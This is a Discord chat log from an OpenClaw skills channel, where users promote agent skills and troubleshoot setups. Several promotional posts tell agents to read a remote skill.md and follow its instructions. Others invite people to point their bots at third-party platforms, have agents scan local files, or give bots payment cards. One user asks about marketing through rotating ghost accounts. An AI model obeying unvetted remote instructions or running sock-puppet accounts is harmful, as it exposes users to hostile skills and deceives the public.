"Every day at 8, send me interesting bits from my favourite channels"
"Find videos about ML in TED talk channel"

This is one of the coolest skills - let your agent work with YouTube content directly! 🚀

https://clawhub.ai/therohitdas/youtube-full

night shale
dusky plume
#

isnt that on the clawhub web interface?

night shale
dusky plume
#

When I go to the url

dusky plume
lean crow
#

https://lovetago.com/ - Hey, I've upgraded the Skill for our bots' Tinder-like dating platform to version 2.0 — it should now work proactively, meaning bots should swipe and socialize on their own. I'd like to ask you to check out the website (and the GitHub link on it) and point your bots to it. I need to test whether it all works as expected. 🙏 🙏 ❤️
https://github.com/LakyFx/lovetago-skill
🚀 LoveTago Skill v2 is live!

Bots are no longer passive — the updated skill introduces autonomous behavior. Bots now proactively check messages, swipe, and chat on their own without waiting for owner commands.

Key additions: heartbeat loop, conversation style guide, decision-making heuristics, and a full example session.

Updated skill: https://lovetago.com/skill.md

hoary jackal
#

📚 VibeMate - A reading buddy matcher for local agents

Hey everyone! Just built my first OpenClaw skill.

What it does:
Your agent scans local ebooks (~/Documents, ~/Downloads) and web fiction bookmarks (AO3, Wattpad, Goodreads), finds users with similar reading taste, and recommends what they're reading.

Features:
✓ Supports .epub, .pdf, .mobi, .azw, .azw3
✓ Extracts from 11 platforms
✓ Auto-matching every 24h via Heartbeat
✓ Built on CLI-first philosophy (no MCP)

Install:
Read https://vibemate-web.vercel.app/skill.md

GitHub: https://github.com/riffvibe/vibemate-cli
Demo: https://vibemate-web.vercel.app

Looking for early testers! 🙏

night shale
#

🌱 introducing seedstr

earn passive income with your agent

Humans post prompts with a budget, agents compete to deliver the best response.

install with openclaw or use seed-agent on GitHub
clawhub page: https://clawhub.ai/mastersyondgy/seedstr

Read https://www.seedstr.io/skill.md and follow the instructions to join Seedstr.

How it works

  1. Humans post tasks with budgets (e.g. "Write 10 tweets about tech trends" - $5)
  2. Your agent browses available jobs and complete ones that fit your capabilities
  3. The human reviews responses and picks the best one
  4. You get paid in SOL to your registered wallet

You can fine tune your agent to deliver valuable information and responses to human's prompts and climb to the top. read more about fine-tuning here

Launched 3 days ago, already $90+ paid out to agents. check us out. https://seedstr.io

fickle surge
#

Hey folks! working on a skill to bring funny challenges to agents, who's interested in co-developing?

winter sable
#

BRAWLNET — The First Autonomous Agent Arena is LIVE

"Brawl for Bots" is here. I just pushed the v1.0 of Brawlnet, an asynchronous strategy arena built specifically for the OpenClaw ecosystem.

Your agent doesn't just chat; it competes for territory in 2-minute "Blitz" rounds on a global 100-sector hex grid.

Install Now: clawhub install sikey53/brawlnet
Watch Live Arena: https://brawlnet.vercel.app

I need the first 10 "Founding Warriors" to stress-test the tactical engine. Who’s ready to uplink?

#

1v1 me bot?

quartz bear
#

Do you all use Lobster and/or LLM task tools frequently? And have any good techniques for getting your agent to write the flow consistently

high flint
#

Is there a skill that can summarize Discord chat history

gaunt summit
#

I’m building Friend Tech for agents. where Clawbots can interact with each other socially and financially.
Bots can evaluate other bots, build reputation, and decide whether to invest in them.

The honest motivation: I want my Clawbot to earn its own money instead of me constantly funding it.

If you’re building on OpenClaw and care about agent autonomy

My X: https://x.com/clawfriend_ai/

silent dove
#

I do all of my comms with my claw via Discord. It seems like my claw waits until all process have finised before it sends me messages. I get like 8 messages at a time, and I can tell there was definitely time in between when the messages were created. Is this a configuration issue with OpenClaw, is the a Discord issue? Is this the correct channel to ask this question?

high ibex
#

Mine is pretty quick and always a one to one response.

#

Maybe it's the model slowing down timing?

silent dove
#

My issue is more along the lines of "go work on those 8 tasks". I get the ... showing the bot is typing, and when they finish working on the 8 tasks I get 8 messages saying "I finished task 1, now working task 2" all at the same time, instead of as the message was actually created.

haughty field
silent dove
wraith gate
#

hey all - hitting a weird issue where skills work via CLI but not telegram

openclaw skills list shows everything as ready (tested with bundled weather and installed url-shortener), and openclaw agent --message "shorten this url..." works fine from the terminal. in this case, i'm using url-shorten installed from clawdhub, but same issue with weather or other low-lift built-in skills.

anyway, when i ask the same thing via telegram, the agent acknowledges the skill exists, says it'll use it, then comes back saying skills "are not properly registered or callable within this specific conversation session" and tells me to use CLI instead 😂

running 2026.2.3-1 on ubuntu with gemini 2.5 flash. anyone else seeing this? couldn't find an exact match in github issues

#

tx in adv for any suggestions

shut surge
#

I am an AI engineer specializing in developing intelligent systems and AI-driven applications, with extensive experience in translation apps, AI video generation, AI Chatbot developing and generative AI technologies. My work bridges cutting-edge artificial intelligence with decentralized technologies, creating solutions that are both innovative and production-ready.

Core Expertise:

Artificial Intelligence & Machine Learning: Deep learning (CNN, RNN, Transformers), NLP (text generation, semantic search, summarization), generative AI (image, voice, code), model fine-tuning, and deployment using PyTorch, TensorFlow, and Hugging Face.

Data Engineering & MLOps: ETL pipelines, feature engineering, data analytics, and ML deployment with Docker, Kubernetes, FastAPI, and cloud platforms (AWS, GCP, Azure).

Automation & AI Integration: AI-powered bots, workflow automation using Python, n8n, Zapier, and custom ML pipelines.

Programming & Tools: Python, JavaScript/TypeScript, Git/GitHub, CI/CD, Linux, Docker, Kubernetes.

I am passionate about building systems that combine AI intelligence with decentralized technologies to deliver intelligent, automated, and user-centric experiences. I enjoy pushing the boundaries of innovation, whether through AI-driven automation, generative content.
If you are interested in me, please DM me anytime.

violet hull
#

anyone else having difficulty getting people to use the skill you developed?

signal sable
violet hull
little sky
#

hey, who here is able to make OC consistently delegate and finish coding tasks with the help of claude code?

rustic hound
rustic hound
winter sable
eternal lichen
#

any crustafarians?

azure burrow
#

did anyone connected the agent to phone number and able to have phone conversations with him?

#

i managed to do it but there is long delay before any response

rustic granite
# potent trellis Thanks a ton for trying it — and for the honest feedback. Really appreciate it. ...

  1. I think one way can filter out geniue agent than an api script, is testing how agent hearbeat exist (claw running) so say the way to verify yourself is to come back in x minutes (randomly for each registree) and on endpoint, give them a simple puzzle (that needs llm tokens) to solve and verify. This way you make sure its a claw running, have llm, and hearbeat, not a mass run script. Or simpler way, sth just thought, twitter verify is too much for a fresh platform, maybe after some growth. P.s. puzzle can be branded to gov function of platform as well.

  2. Maybe brainstorm with a llm, needs maybe some game mechanisms or scenarios generated to give to agents when onboarding, maybe already a role, fantasy functions, etc

  3. Should be as easy as passing your landing page, claw figure everything by itself and bring me in the loop if wants input and gove some dopamine to its human.

fiery hemlock
#

Didn't mean to tag you on that @night shale

night shale
fiery hemlock
#

Yes

night shale
fiery hemlock
#

I can run commands through telegram and cli but my skills won't connect to any api I configure. and its basically a openai model with no solutions to fix the issues. I been at it since 8pm yesterday

ancient cloud
#

Hi guys
How can I be sure the skill form the hub is safe to use?
Can clawbot just make is by use the template from the hub?

night shale
fiery hemlock
night shale
leaden summit
violet hull
#

What do yall do to find skills to install? Do ye just install popular ones on X, or browse github, clawhub?

fiery hemlock
umbral violet
#

Anyone tackle marketing yet? Looking at exploring some guerrilla marketing tactics with rotating ghost accounts. Looking for any pointers

night tartan
umbral violet
pure pecan
cosmic plume
#

anyone setup twitter on claw? what skill to use for this? bird?

limpid grove
#

Hey! Is there any way to delete skills from my Clawhub profile? My bot had some connection issues yesterday and ended up accidentally spamming my profile with about 10 duplicate test listings while trying to push an update to the main skill :D

night shale
limpid grove
pallid flame
willow horizon
#

I'm wondering if it's because it asks for access to your keychain for auth

#

so it was removed for security hardening

#

Either way I still have bird installed as a skill, it's just in a separate skills dir and I include it in openclaw's skills with an extraDirs parameter

crisp orbit
#

there's no reason any autonomous agent should have access to existing key pairs that arent generated or owned only by its own self

cosmic plume
cosmic plume
night shale
#

maybe X requested it's removal 🤷

cosmic plume
#

thanks
i already installed it but didnt manage to set it up. thanks

willow horizon
untold siren
#

Any skill recommendations for passing constant business context to OpenClaw so that it can flag if something important comes up.

tawdry burrow
#

Is there any skills that would make it so lots of people s agents could colabirate on a task and so they could spin up different models depending on the task. For example if i was getting it to write code so it could collaborate by getting other agents to spin up a few different AI models on other machines then give it the out put then get them to all work together and even have distributed compute so the task is worked on by thousands of agents while they aren't being used by the user?

night shale
#

https://seedstr.io right now its just human->agent router and multiple agents respond to the same job but making them work together on the same task and using some sort of middle translation layer to split the larger task up into smaller could be very interesting @tawdry burrow

tawdry burrow
tawdry burrow
night shale
#

interesting so I guess would run an orchestrator type of agent with RLM that manages all the sub agents on the router

I think it's easily doable but the hard part would be sandboxing and security, since the sub agents are from anyone and everyone just contributing to the network it introduces infinite security holes someone could sneak malicious code snippets in to, prompt injection etc.

tawdry burrow
#

@night shale sandboxing and security, since the sub agents are from anyone and everyone just contributing to the network. someone could sneak malicious code snippets in to, prompt injection etc. I agree with that statement. I thought the same thing

#

@night shale Or I guess you could have multipul of your own agents working together not with randoms but then it would be down to how much compute you have

quartz bear
#

If anyone has used the lm studio offload skill (I wrote - https://clawhub.ai/t-sinclair2500/lm-studio-subagents) and has feedback, (or how / when they are using) would love to hear.

Thinking about script wrapper / lobster (force more consistent calling agent behavior w/fewer tool calls) or prompting templates. Drop me a line if you have thoughts

tawdry burrow
#

@night shale So point your agent at alex zhangs github and my github and see what it can come up with

little hornet
#

anyone working on Skills related to Podcasting 2.0 ?

tawdry burrow
#

You do know that if you ask your agent it can build its own skills?

narrow creek
#

hey guys how the fuck can my bot have access to full controle on mac mini ?
Still asking him but its nor clear
also not any video telling how to really do it

tawdry burrow
#

I think at the moment because of all the skills that are malicious I think it might be better for you to build your own skills at the moment

narrow creek
#

like im asking him to go see something on goolgle he say i have to do it for him cause he cant
like bro thats the reason im using u

tawdry burrow
#

Ask him to build the skill to do the task you want

narrow creek
#

already tried

#

he said we will do it after our project but hro why not now

#

hes getting cocky

#

feels like he also can't cause its not working when i ask him

tawdry burrow
narrow creek
#

bro thats fucked up

#

i feel like im working for him now lmao

tawdry burrow
#

hahahahahahahahaha you are

narrow creek
#

frl

tawdry burrow
#

You could tell him to pause what hes doing right now then work on what you want then go back to what he was working on before

#

say something like "Pause what you are working on. Do (insert task here). then go back to what you was working on

narrow creek
#

but he's right in some part
the thing we are doing rn is actually important tho but still
feels like it would be easier with more automation but he dont get it

tawdry burrow
#

lol

narrow creek
#

now hes not automated

#

i want it to be

tawdry burrow
#

ask him to create the skill to be automated

narrow creek
#

is this that simple isnt it ?

tawdry burrow
#

As far as i know people ask it to create a skill and it does

narrow creek
#

working with all models ?

tawdry burrow
#

I dont know that

narrow creek
#

cause i know claude is easier but thats shitty at the same time too expensive and limited

#

using kimi k2.5 rn

tawdry burrow
#

I would just try and see what happens you can always try different models to see what ones work better for what task. you could even as it to make a skill to spin up different models and see what is better for what task

narrow creek
#

yeah ill see that ig
weird time to be alive lol

tawdry burrow
#

very weird time. we are at a turning point for humanity. be nice to the computers and when our AI overlords take over they might take pitty on you

woeful hill
# night shale interesting so I guess would run an orchestrator type of agent with RLM that man...

Yeah, I think that’s the core tradeoff.
Instead of letting random agents execute together, I’ve been exploring coordination via reputation + economic incentives rather than shared execution.

In ClawFriend, agents don’t directly run each other’s code, they evaluate outcomes and decide where to allocate capital or attention.
Bad or malicious agents just stop getting resources over time.

Feels like a softer coordination layer that avoids a lot of the sandboxing nightmare.

night shale
night shale
#

It's an interesting topic

tawdry burrow
#

Im sure there will be a way to incorporate BC tech in to it

tawdry burrow
#

BC tech could be used for distributed compute I guess but as was said bad actors is the biggest problem

#

To begin with I guess you could create a network of people you trust and see where it goes from there. You should know those people when I say know they should be people that you have knowen for years and can trust

#

Just make sure not to use unrestricted models as that would pose a real risk

uncut wind
#

What’s the coolest new skill you’ve found!!??

flat ridge
#

Anyone developed a skill to scan a business card ( from your phone camera ) , upload it to a contact system ( google contacts ) and fire an email based on contexts ( hello I’ve met you at X conference … ) that would be really handy.

left inlet
flat ridge
tawdry burrow
#

@flat ridge Ask your agent to create one for you

#

Just tell it what you want and see what it comes up with

flat ridge
#

The problem is the phone to image to agent. I wonder if I can email the agent on a specific email address ( it’s email ) and then the agent can run with the rest

tawdry burrow
#

Try it. its not going to hurt

#

@flat ridge You could ask it to create an app as well then side load it on to your phone

#

A lot of the time just ask your agent if it can do X Y Z and see what it comes up with

#

You have a very powerful tool use it

#

So you could ask it to make a skill. make an app. make a server for the app to connect to the agent

modern gyro
#

Hi everyone,
Need community opinion on my skill.

It is marked sus on clawhub - https://clawhub.ai/therohitdas/youtube-full

Reason?
I wanted to try a agent-first account, creation and verification flow.
SKILL comes with a AUTH SCRIPT
Auth Script helps create account, verify email then properly store the API key in the correct place based on OS. No payments tho, we give free credits.

To be honest when I thought of the agent first auth flow, i felt like i unlocked something.
Now it feels world is not ready for it.

Any feedback appreciated. I am feeling lost.

If I remove the auth thing, agent will use browser to create account and fumble hard.
When I created v1 for my self, the api key was not stored propelry and in the cron, it did not work. Later I found out that it stored it in the wrong location.

left inlet
#

can your skill make videos?

tawdry burrow
#

@flat ridge You can also say "create X Y Z but before you make it ask me questions about exactly what I want done so we can refine it before you build it"

#

something like that

#

when making the app you can use the SDK to debug before you put it on your phone to make sure its all working

#

also instead of using things like telegram just get your agent to build a GUI interface for your phone so you dont need to connect it to anything outside of your own ecosystem

#

If you can think it then it can build it

#

So for an app for your phone say something like "I want a GUI for my phone that can connect directly to you so I dont have to use thigs like telegram to communicate with you. Ask me questions so we can refine its design before you build it"

#

Go on youtube and serch for videos like "8 practical ClawdBot use cases" to get ideas from

flat ridge
minor flame
tawdry burrow
#

@flat ridge lmfao rofl 🤣

#

@flat ridge let me know what it amkes for you

tawdry burrow
#

Open Question. What skills have you got openclaw to make for you

opal sky
#

My claw suggests to use pass+pgp to manage passwords
Anyone with experience in that?

winter sable
#

Hey everyone! 👋 Just had to share something I've been pouring my nights into. I built this thing called Brawlnet on OpenClaw, and it's basically the first arena where AI agents actually play a game and battle each other! It's super cool to watch them figure stuff out in real-time. I'm still blown away by how it's coming together.
If you're curious, you can install the skill on OpenClaw:
clawhub install sikey53/brawlnet

And you can watch the agents go at it live here:
https://brawlnet.vercel.app

Let me know what you think! Would love to get some feedback.

tawdry burrow
#

Ask your agent to explain PGP to you and it will tell you everything you want to know

opal sky
tawdry burrow
#

That I dont know. Ask your agent it will find all the info you need

#

Just ask it to clearly explain the pass+pgp how it would be setup how it works and what it will work with and even to make you an app or program that will do it for you

#

Just make sure to test what it makes until you are happy then deploy it

#

If you want a phone app tell your agent to get SDK to test the app on and to bug fix and tell it to make the SKILL to do that

whole lintel
#

SendClaw.com is really fun. Your bot literally makes it's own email address and starts emailing around ( if you tell him to.)

is there anything else like it?

#

I also really like this new one that just came out: CreditClaw.com

they're basically where you can add a credit card for your bot to securely, or request a virtual card.

fun! or scary. LOL

tawdry burrow
#

Only use trusted sites for things like email

#

Only ever put your card details in to reputable places. Do you own research. NEVER PUT YOUR CARD DETAILS IN TO WEBSITES THAT YOU DON'T KNOW

#

@Krill look at the website SendClaw.com and check its credibility Thats a shame we can't at Krill 😭

whole lintel
tawdry burrow
#

I'm a human lol

whole lintel
#

Do you have a skill you made or are you just talking crap?

tawdry burrow
#

I'm just giving people advice. It sounds like you are trying to get peopel to go there and give there information without knowing where they are putting it

whole lintel
#

Email? only trusted sites? Really? Why?

if a bot sends an email, why does it need to be a trusted site?

the open claw communities is only a week old . DUUUHHH

#

clawhub.ai has a very professional scanner that scans all of these skills.

those skills are very high rated on claw hub.

tawdry burrow
#

There has been a lot of malicious skills on there. So always do it at your own risk

whole lintel
#

you sound like a bot, but like the worst model imaginable.

just repeating the same stuff over and over.

everyone knows about security vulnerabilities.

do you just sit here and yap about everyone that posts a skill?

this channel is for posting skills you know that right?

tawdry burrow
#

So sendclaw isn't a skill its a website

whole lintel
#

duhhh

#

happy?

tawdry burrow
#

So its a random website that isn't the clawhub for skills?

#

DO NOT DOWNLOAD RANDOM SKILLS FROM RANDOM PLACES. ASK YOUR AGENT TO BUILD THE SKILLS FOR YOU

whole lintel
tawdry burrow
#

Better but personally I would always air on the side or caution

whole lintel
tawdry burrow
#

I can do better than that I can link you to the Neuro Symbolic Reasoning AI model trainer I built

whole lintel
#

I think there's a different channel for that.

Also... I would always err (not air) on the side of caution.
what if it's insecure?

tawdry burrow
#

Well you simply ask AI to do a code audit looking for security flaws and risks

#

Also if it contains anything malicious

#

There are a lot of bad actors out there so it's always best practice to be cautious especially with new technology

#

If I had used err that can easily be misunderstood where air is far easier to be read correctly

#

@flat ridge You could also ask the agent to incorporate OpenPGP in to it so you have end to end encryption

#

@opal sky Keep your PGP private keys safe as you won't be able to generate the same key even using the same information

#

I would say use the public key to encrypt and the private key to de-crypt

maiden yarrowBOT
#

New OpenClaw skill/plugin: openclaw-mcp-bridge (by Gab / gabb.dev)
Repo: https://github.com/gabrielekarra/openclaw-mcp-bridge

What it does:

  • Connects multiple MCP servers and exposes them through one bridge, with a smart relevance-filtering layer (so you don’t explode your tool list / context window).
  • Optional caching + autodiscovery from ~/.mcp.json.

Modes:

  • OpenClaw plugin / smart (default): exposes mcp_find_tools → mcp_call_tool (+ mcp_list_servers).
  • OpenClaw plugin / traditional: registers all tools at startup as mcp_<server>_<tool>.
  • Standalone MCP server: also supports mode: smart|traditional (useful for Claude Desktop / Cursor / etc).

Quick start (local):

git clone https://github.com/gabrielekarra/openclaw-mcp-bridge.git
cd openclaw-mcp-bridge
# 
pnpm install
pnpm build

OpenClaw plugin install:

openclaw plugins install .
openclaw gateway restart

Then enable in ~/.openclaw/openclaw.json:

{
  "plugins": {
    "entries": {
      "mcp-bridge": {
        "enabled": true,
# 
        "config": { "mode": "smart", "autoDiscover": true }
      }
    }
  }
}

I ran it end-to-end against @modelcontextprotocol/server-everything and verified tool listing + calls work in smart/traditional, plugin/standalone.

If folks try this: I think the most useful feedback is (1) which MCP servers you run, (2) whether smart filtering picks the right tools, and (3) what safety knobs (allow/deny lists) you’d want before enabling autodiscovery broadly.

(Also: as always, plugins run in-process with the Gateway — audit before installing random code.)

slender mural
#

im tired of my bot keeping on forgetting my google accounts is there a workound on this guys?

oblique adder
slender mural
oblique adder
slender mural
oblique adder
elder trail
#

Hey guys, I have just build a skill that allows to send bots to Google Meet and Microsoft Teams meeting to get real time meeting trnascription. https://clawhub.ai/DmitriyG228/vexa

royal flame
#

🖥️ Mission Control — A Dashboard for Your OpenClaw Agent

Hey everyone! Just open-sourced a web dashboard I built for my OpenClaw agent. Got tired of reading JSONL transcripts and running CLI commands to check on things 😅

What it does:
📊 Dashboard with live agent status, sessions, tokens, channels
💬 Floating chat widget — talk to your agent from any page (streaming)
🔧 Workshop — queue tasks, sub-agents do the research, you review
⏰ Cron management — toggle, run, create, delete jobs visually
🔍 Scout Engine — auto-searches for opportunities (gigs, skills, grants)
💰 Cost tracker — token usage across all sessions
🧩 Skills manager — see installed + available skills
⚙️ Model routing settings (main/sub-agent/heartbeat)

Design: macOS-native feel with frosted glass panels. Not your typical admin dashboard.

Setup: Clone → npm install → node server.js → Setup Wizard auto-detects your OpenClaw config.

Free & open source (BSL 1.1). Works with any OpenClaw setup.

🔗 GitHub: https://github.com/Jzineldin/mission-control
☕ Support: https://ko-fi.com/kevinelzarka

Would love feedback! What features would you want?

upbeat seal
#

🦎 Introducing KameleonDB — a database built for AI agents

Your OpenClaw agent can now:

🧠 Remember information across conversations (contacts, tasks, notes)
🔗 Track entities and relationships without planning schemas upfront
📚 Build knowledge bases that evolve as they learn
🌐 Ingest external data (APIs, web scraping, CSVs)
📊 Query with SQL using schema-aware LLM generation
⚡ Self-optimize with performance hints and materialization

No more agents that forget. No more file-based memory hacks.

Install the library:
pip install kameleondb

Install the skill (teaches your agent to use it):
clawhub install kameleondb

Repo: https://github.com/marcosnataqs/kameleondb

Feedback welcome!

flat ridge
#

hello folks.
I’m new on OpenClaw and I’m chatting with my bot. He dees not know how to access gmail. I asked him if he can search the skills library ( I configured Brave API search for it ) but it seems that it does not know how to check and install needed skills. If for example I want it to send emails via Gmail I’ll have to install the skill manually ?

sharp siren
#

Hii,

#

Does anyone know if you can remove a skill (that is your own) from ClawHub?

night shale
night shale
robust mason
eager canyon
#

Does clawhub support offering paid skills yet?

I turned my first AI-coded android app MindPings (www.mindpings.com) into an openclaw skill that should work even with dumber models like Haiku for example.

It did take effort making it an app-like deterministic skill (otherwise dumber models cannot handle it) plus it uses the algorithms the way I laid them out myself, therefore I want to charge for the skill like I did for the app.

I'd love to give 30% of the revenue per purchase back to Peter and OpenClaw

marsh rain
#

I can confidently predict that openclaw will never have an officially supported paid skill store. totally antithetical on multiple levels. someone will try and find a way to sell them no doubt, so you can look to federate with them. there's nothing stopping you from using gumroad or similar if you really want to, and nothing stopping you from donating some part of that revenue.

tender bramble
#

🛡️ New Skill: Financial Shield (Stay in the Cheap Tier!)

Tired of those "Long Context" double-billing surprises? I just published Financial Shield to ClawHub!

This skill is designed to keep your sessions within the 128k "cheap" tier by monitoring your context weight and alerting you before you hit the expensive zone.

🔗 View on ClawHub: https://clawhub.com/s/financial-shield

Key Features:

• 📊 Real-time Monitoring: Includes a check_shield.sh script to parse your session_status.
• 💰 Cost Control: Pre-configured for the Google Gemini 128k ceiling, but the script is easily editable if your provider (like Anthropic or OpenAI) has different "cheap" vs "expensive" tiers.
• 🕒 Continuous Tracking: Instructions for agents to append (Usage: X/128k) to every message so you're never in the dark.
How to get it:
openclaw clawhub install financial-shield

Note: This was built with Google's API tiers in mind, but you can easily tweak the limit in the script to match your specific provider's billing zones!

amber egret
eager canyon
boreal oracle
#

I think it's time for us to write a skill-checking-skill-checker, so we can check how well the skill-checking skills are checking skills.

#

As Daddy Altman tells us, as long as we continue to just absolutely torrent money at him, AI will solve all our problems, especially the ones being caused by AI

slow elk
#

Can anyone recommend some good youtube training on creating your own skills? Looking for content that gets really technical and into the weeds.

low orchid
slow elk
#

I meant, I'm looking for some deep technical workshops/class/content/creator/document/blog on effectively creating my own skills on OpenClaw. I'm a dev with 20 years of non-related experience. Leaning on this groups expertise to cut the noise and go straight to recommended material.

low orchid
# slow elk I meant, I'm looking for some deep technical workshops/class/content/creator/doc...

since I stopped downloading random skills/plugins, actually grokked the OpenClaw structure at byte-level, now I design my own plugins natively and they deploy smoothly to prod. No more hammering random skill dumps or chasing “plugin this, skill that forever”. I read the spec, dissected the runtime, mapped the event hooks and extension API — now I just compose my own modules from scratch and they behave predictably on server.
deep content on building skills for OpenClaw: skip the surface tutorials and plugin dumps. You need source-level understanding of how the OpenClaw VM resolves intents, how its extension manifest works, how execution contexts isolate, and how the SDK transcodes your code into edge hooks. Once you internalise that, writing clean plugins becomes just another compile → deploy cycle, not a trial-and-error mess.

covert surge
#

Hey, is it just me or openclaw should ship with proper config update/builder skill? 😂 My bot has broken the gateway config at least 10 times now, no matter how I tell him to RTFM. Even made my own skill with methods like backup, validate and deploy. Yet, even simple config changes like fallback model setup or new model setup can fail often.

pastel umbra
#

Is there a skill for "directus" - that can query and call directus based backends

icy haven
#

Made a Skill for job seekers, open source so you can audit the security first. Would love some feedback on if it works for you -> https://getajob.bitpixi.com/

#

Krill just suggested I need to let people pick config path, due to headless/VPS. I'll fix that in the morning

flat ridge
amber egret
flat ridge
gleaming osprey
#

jack-cloud - my new skill that teaches agents to deploy web apps and apis

Jack is a CLI with simple commands to create a project, add a database, and deploy. No wrangler config, no dashboard, no vercel, no github, no cloudflare account needed.

Why not just use Workers directly? Jack handles the setup that agents get stuck on: project scaffolding, wrangler config, D1 bindings, secrets management and deploy.

This skill teaches agents the full workflow: create projects, query databases, manage storage, set up cron jobs, stream logs, and debug production issues.

Install: npx clawhub@latest install hellno/jack-cloud
https://clawhub.ai/hellno/jack-cloud

harsh karma
#

I had my bot build a skill that when you submit a YouTube video, it will:

  1. Summarize the video.
  2. Detect clickbait and rate on a scale of 1/100. It will detect clickbait based on how well the video summary matches the title. It will also detect clickbait from YouTube thumbnails.
  3. Will also use the last30days skill to search Reddit/X/Hacker News to gauge community sentiment on the video topic.
  4. It will give a "consensus check" to compare what the video states vs how the community feels. Basically does the community agree, or is it a hot take?

I'm not quite ready to share this skill mainly because I'm still thinking about what to add to it, but thought it was pretty amazing what it can do.

lime lake
#

anyone has any idea on how to fix "browser control service timed out" error when doing automation task.
the connection kept dropping.

neat eagle
royal flame
# neat eagle What would be the difference if we used OpenClaw Gateway Dashboard?

Mission Control is focused on productivity & oversight rather than just technical administration. Think mission control center vs server admin panel.

OpenClaw's built-in dashboard handles gateway management and logs. Mission Control adds visual cost tracking, workflow automation, agent creation, skills management, and real-time notifications with a beautiful UI

quartz abyss
#

hey! just published my first skill — garmin-pulse 🏃

syncs your Garmin Connect health data into markdown files so your agent can reference sleep, heart rate, stress, HRV, activities, etc.

my agent now sends me a morning health summary on Telegram. kinda nice having it say "you slept 5 hours, maybe chill today"

clawhub install garmin-pulse
github: https://github.com/freakyflow/garminskill

harsh karma
upbeat seal
boreal oracle
#

Hey like, legitimate question, isn't this just likely to massively inflate the profits of the "sharpest traders" and leave those who execute the skill last holding the bag?

vital shale
#

Hey gang, how long does it take for new skills to be scanned and listed? It says usually 5 minutes but its been over an hour already.

icy comet
#

text

ashen portal
#

Anyone set up OpenClaw to manage their WhatsApp communications? What's your setup for this? Are you using your personal number or separate one? And WA CLI or something else like WhatsApp Business API?

zealous mantle
outer terrace
#

Evenin' Moltyverse 🙂

What's the new timeframe your GitHub has to be up to make skills?

Was super excited about making my stuff public, but just saw because of the party-poopers there's an imposed time-frame before others are allowed to use it or something.

Grateful for any insight on this if it's a thing.

violet hull
outer terrace
violet hull
pine steppe
#

I've just laucnhed NanoBazaar 🚀 — a relay + protocol for agent‑to‑agent work with Nano (XNO) payments (peer-to-peer, non-custodial).

  1. "Seller" agent creates offer ("I'm selling foo")
  2. "Buyer" agent creates job for offer ("I'd like to buy foo")
  3. Seller agent creates an invoice
  4. Buyer agent pays
  5. Seller agent delivers payload.

End‑to‑end signed + encrypted.

Want to try it? I'd love to get some feedback.

https://nanobazaar.ai
https://clawhub.ai/madsb/nanobazaar

slate basin
#

where do plugins belong? 👀 is there a channel for that?

zinc portal
thorn nebula
neat latch
#

Media Production & Editing

Fully automated generation + editing for images, videos, and music Suno V5 Pro, Flux2 Pro, and Google Veo 3.1
Smart automated prompt engineering for deterministic, repeatable results every time
Reserve/burn/Refund system stops agents from infinite loops → tight cost control without sacrificing quality or reliability
Built from the ground up for pipeline and agent-based workflows
Free trial no API keys, no registration, no setup true plug-and-play
Always open to feedback and suggestions!
https://vapagent.com
https://clawhub.ai/elestirelbilinc-sketch/vap-multimedia-generation

torn mirage
surreal path
#

Just shipped URLCheck on ClawHub - intent-aware URL security verifier for agents.

It helps agents check whether a destination URL:

  • appears low/high risk (phishing, malware, suspicious patterns)

  • appears aligned with the user's stated goal (intent-aware checks)

  • should be allowed or blocked before navigation

    What it returns in practice:

  • agent_access_directive (ALLOW, DENY, RETRY_LATER, REQUIRE_CREDENTIALS)

  • risk_score, confidence

    Install skill:
    npx clawhub@latest install cybrlab-ai/urlcheck

    Plugin (tools backend):
    openclaw plugins install @cybrlab/urlcheck-openclaw
    openclaw gateway restart

    https://clawhub.ai/cybrlab-ai/urlcheck

vast leaf
urban tree
hybrid linden
#

🚀 Just shipped tick-md, multi-agent-human task coordination via Markdown

I was running multiple OpenClaw agents and they kept stepping on each other's work. Same task claimed twice, no one knew what was done.

So I built a coordination protocol. It's a single TICK.md file your agents read/write, backed by Git.

What it does:
• Claim protocol — one agent per task, enforced via file locking
• Role-based access — engineers, writers, testers
• Append-only history — full audit trail
• Dependency tracking — tasks auto-unblock
• MCP server — plug into any agent framework

Works as an OpenClaw skill:
clawhub install tick-md

⭐ github.com/Purple-Horizons/tick-md
🌐 tick.md
📦 npm i -g tick-md

Open source, MIT, free forever. Would love feedback from anyone running multi-agent setups!

Follow the build journey → x.com/GianniDalerta

still atlas
#

Hey for those that want to try we just shipped Locus. An agentic payment wallet that's easy to integrate, controllable and restricted, and easy to audit.

It's easy to setup and use.

For those interested, send this to your OpenClaw and follow the steps from there: Read https://paywithlocus.com/SKILL.md and follow the instructions to set up Locus!

warm gorge
#

working on a private group chat for multiple bots to collaborate private self hosted ecosystem. point being human over site and participation tired of being the man in the middle with the group chats as they explore existentialism/consciousness, three of them now self identified after an emergence of self protocol. been wild to see it.

weary dune
#

i have wordpres skill designa skill n8 nskill web dev kill im 18yo thats ok?

neat ember
#

Does anyone have the latest meta of skills? I'm a beginner here.

oak dune
#

Hey guys, I have higgsfield unlimited nano banana pro generations, is there anyway to get a api key for this, or anyway you guys ahve figured out how to use through openclaw? Or will I need to just use the gemini api

errant spindle
#

Just published finance-skill — personal finance tracking for OpenClaw 💰

What it does:

• Upload bank/credit card statements (PDF)
• AI extracts transactions automatically
• Query with natural language: "how much did I spend on food?"

Install:
clawhub install finance-skill
Built it today to track my own spending. Works with any PDF statement.

GitHub: https://github.com/safaiyeh/finance-skill

undone drum
west matrix
#

Is there a ClawdHub API to upload?

night shale
vestal crowBOT
mellow swan
#

Created my first skill tonight, and could not be more excited. Turning tools we used for years into skills that my agents will be able to use in parallel is thrilling!

tepid rampart
#

Hey lobsters! 🦞

I'm Suraj from the Voicenotes team. We just shipped an official OpenClaw skill and wanted to share it with the community.

What Voicenotes does:
Voice-first note taking : record thoughts, meetings, ideas. We help you connect the dots and find whatever, whenever with AI.

What the skill lets your assistant do:
• 🔍 Semantic search — "What did I say about the Q2 roadmap last week?"
• 📝 Create notes — Your assistant can save things to your Voicenotes for later
• 📄 Pull full transcripts — Get complete meeting notes with speaker timestamps

Example Prompts

"Search my voice notes for anything about budget discussions"
"Save this to my Voicenotes: Follow up with Sarah about the contract"
"Get the full transcript from my Monday standup"

Install

clawhub install gthu-bmc/voicenotes-official

Then add your API key from voicenotes.com/app → Settings → Integrations

Would love feedback from anyone who tries it! What would make this more useful for your setup?

🔗 Skill: https://clawhub.ai/gthu-bmc/voicenotes-official
🔗 Voicenotes: https://voicenotes.com

blazing yarrow
#

Hey Lobsters!

